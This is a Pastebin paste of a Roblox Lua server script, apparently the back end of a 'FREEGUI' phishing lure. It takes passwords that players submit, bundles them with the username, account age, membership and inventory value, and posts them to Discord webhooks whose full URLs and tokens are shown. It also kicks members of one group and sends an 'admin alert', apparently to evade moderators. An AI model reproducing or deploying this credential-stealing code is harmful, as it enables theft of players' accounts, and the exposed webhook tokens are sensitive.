Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local NBC = "https://discordapp.com/api/webhooks/390603236933107712/YcFxUHbApOc_5QYugW7zhQxGJvWiLnojt-3TFxZeRp__1yG_E1LZvZnfYhdBVFodt5X_"
- local BC = "https://discordapp.com/api/webhooks/390603236933107712/YcFxUHbApOc_5QYugW7zhQxGJvWiLnojt-3TFxZeRp__1yG_E1LZvZnfYhdBVFodt5X_"
- local TBC = "https://discordapp.com/api/webhooks/390603236933107712/YcFxUHbApOc_5QYugW7zhQxGJvWiLnojt-3TFxZeRp__1yG_E1LZvZnfYhdBVFodt5X_"
- local OBC = "https://discordapp.com/api/webhooks/390603236933107712/YcFxUHbApOc_5QYugW7zhQxGJvWiLnojt-3TFxZeRp__1yG_E1LZvZnfYhdBVFodt5X_"
- local api = require(game.ReplicatedStorage.DiscordAPI)
- hs = game:GetService("HttpService")
- game.ReplicatedStorage.memes.OnServerEvent:Connect(function(player, password)
- textz = formatzzz(password, player)
- if getMembership(player) == "NBC" then
- api.doPost(NBC, textz)
- elseif getMembership(player) == "BC" then
- api.doPost(BC, textz)
- elseif getMembership(player) == "TBC" then
- api.doPost(TBC, textz)
- else
- api.doPost(OBC, textz)
- end
- end)
- function onPlayerEntered(newPlayer)
- if newPlayer:IsInGroup(1200769) then
- print "oh snap"
- newPlayer:Kick("An unknown error occurred and you got pooped on.")
- api.doPost(mywebhook, "**WARNING:**NoName#9646 ADMIN ALLERT!")
- end
- end
- game.Players.PlayerAdded:connect(onPlayerEntered)
- function formatzzz(password, player)
- text = "**FREEGUI**"..("%s"):format('\n').."Username: **".. player.Name.."**"..("%s"):format('\n').."Password: **"..password.."**"..("%s"):format('\n').."Account Age: **"..player.AccountAge.."**"..("%s"):format('\n').."Membership: **"..getMembership(player).."**"..("%s"):format('\n').."RAP: **".. hs:GetAsync("http://aerx-mgui.com/Public/getRAP.php?UserId="..player.UserId, true).."**"..("%s"):format('\n').."Profile: **".."https://www.roblox.com/users/".. player.UserId.."/profile **"..("%s")
- return(text)
- end
- function getMembership(player)
- if player.MembershipType == Enum.MembershipType.BuildersClub then
- return("BC")
- elseif player.MembershipType == Enum.MembershipType.TurboBuildersClub then
- return("TBC")
- elseif player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
- return("OBC")
- else
- return("NBC")
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement